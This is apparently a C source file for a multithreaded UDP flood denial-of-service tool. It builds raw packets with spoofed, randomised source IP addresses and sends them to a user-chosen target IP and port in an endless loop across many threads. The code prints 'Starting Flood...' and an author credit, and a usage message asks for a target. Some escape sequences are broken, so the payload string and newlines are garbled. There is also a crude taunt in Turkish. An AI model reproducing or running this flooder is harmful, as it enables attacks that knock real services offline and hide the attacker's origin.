Notes

#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9


static uint32_t Q[4096], c = 362436;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
static unsigned int attport;
void init_rand(uint32_t x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++)
{
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
}

uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}

/* function fr header checksuuumsss */
unsigned short csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}

void setup_ip_header(struct iphdr *iph)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + (10+rand()%99);
iph->id = htonl(rand()%54321);
iph->frag_off = 0;
iph->ttl = 128;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr("192.168.3.100");
}

void setup_udp_header(struct udphdr *udph)
{
udph->source = htons(rand()%65535);
udph->check = 0;

memcpy((void *)udph + sizeof(struct udphdr), "x54x53x33x49x4ex49x54x31xcfx00x5bx15xaex0ex55x6ax85xed", 18);
udph->len=htons(sizeof(struct udphdr) + (10+rand()%99));
}

void *flood(void *par1)
{
char *td = (char *)par1;
char datagram[MAX_PACKET_SIZE];
struct iphdr *iph = (struct iphdr *)datagram;
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
struct sockaddr_in sin;
sin.sin_family = AF_INET;

sin.sin_addr.s_addr = inet_addr(td);

sin.sin_port = attport;
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s < 0){
fprintf(stderr, "Could not open raw socket.n");
exit(-1);
}

init_rand(time(NULL));
memset(datagram, 0, MAX_PACKET_SIZE);
setup_ip_header(iph);
setup_udp_header(udph);
udph->dest = attport;
udph->source = htons(rand()%65535);
iph->daddr = sin.sin_addr.s_addr;

// ip class method iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);


int fx = 1+rand()%6;


if(fx == 1){
iph->saddr = (rand_cmwc() >> 16 & 0xFF) << 24 | (64) << 16 | (249) << 8 | (66);
}if(fx == 2){
iph->saddr = (rand_cmwc() >> 16 & 0xFF) << 24 | (65) << 16 | (68) << 8 | (172);
}if(fx == 3){
iph->saddr = (rand_cmwc() >> 16 & 0xFF) << 24 | (11) << 16 | (68) << 8 | (172);
}if(fx == 4){
iph->saddr = (rand_cmwc() >> 16 & 0xFF) << 24 | (221) << 16 | (162) << 8 | (108);
}if(fx == 5){
iph->saddr = (rand_cmwc() >> 16 & 0xFF) << 24 | (229) << 16 | (162) << 8 | (108);
}if(fx == 6){
iph->saddr = (rand_cmwc() >> 16 & 0xFF) << 24 | (237) << 16 | (162) << 8 | (108);
}

iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
int tmp = 1;
const int *val = &tmp;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!n");
exit(-1);
}
int i=0;
while(1){
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
udph->source = htons(rand()%65535);



int fx = 1+rand()%6;


if(fx == 1){
iph->saddr = (rand_cmwc() >> 16 & 0xFF) << 24 | (64) << 16 | (249) << 8 | (66);
}if(fx == 2){
iph->saddr = (rand_cmwc() >> 16 & 0xFF) << 24 | (65) << 16 | (68) << 8 | (172);
}if(fx == 3){
iph->saddr = (rand_cmwc() >> 16 & 0xFF) << 24 | (11) << 16 | (68) << 8 | (172);
}if(fx == 4){
iph->saddr = (rand_cmwc() >> 16 & 0xFF) << 24 | (221) << 16 | (162) << 8 | (108);
}if(fx == 5){
iph->saddr = (rand_cmwc() >> 16 & 0xFF) << 24 | (229) << 16 | (162) << 8 | (108);
}if(fx == 6){
iph->saddr = (rand_cmwc() >> 16 & 0xFF) << 24 | (237) << 16 | (162) << 8 | (108);
}



iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);


if(i==5)
{
usleep(0);
i=0;
}
i++;
}
}
int main(int argc, char *argv[ ])
{
if(argc < 4){
fprintf(stderr, "Unknown Parameter!n");
fprintf(stderr, "HERKESE INAT PAYLASIYORUM xXx ATEISTIMAM SIKIS YAPAR HABERINIZ OLMAZ.n");
fprintf(stdout, "Usage: %s <target IP> <port> <throttle> <time>n", argv[0]);
exit(-1);
}
int i = 0;
fprintf(stdout, "Setting up Sockets...n");
int max_len = 128;
char *buffer = (char *) malloc(max_len);
buffer = memset(buffer, 0x00, max_len);
int num_threads = atoi(argv[3]);
pthread_t thread[num_threads];
struct thread_data td[num_threads];
attport = htons(atoi(argv[2]));
for(i = 0;i<num_threads;i++){
pthread_create( &thread[i], NULL, &flood, (void *) argv[1]);
}
fprintf(stdout, "Starting Flood...n");
fprintf(stdout, "Coded By: ateistimam n");
if(argc > 4)
{
sleep(atoi(argv[4]));
} else {
while(1){
sleep(1);
}
}
return 0;
}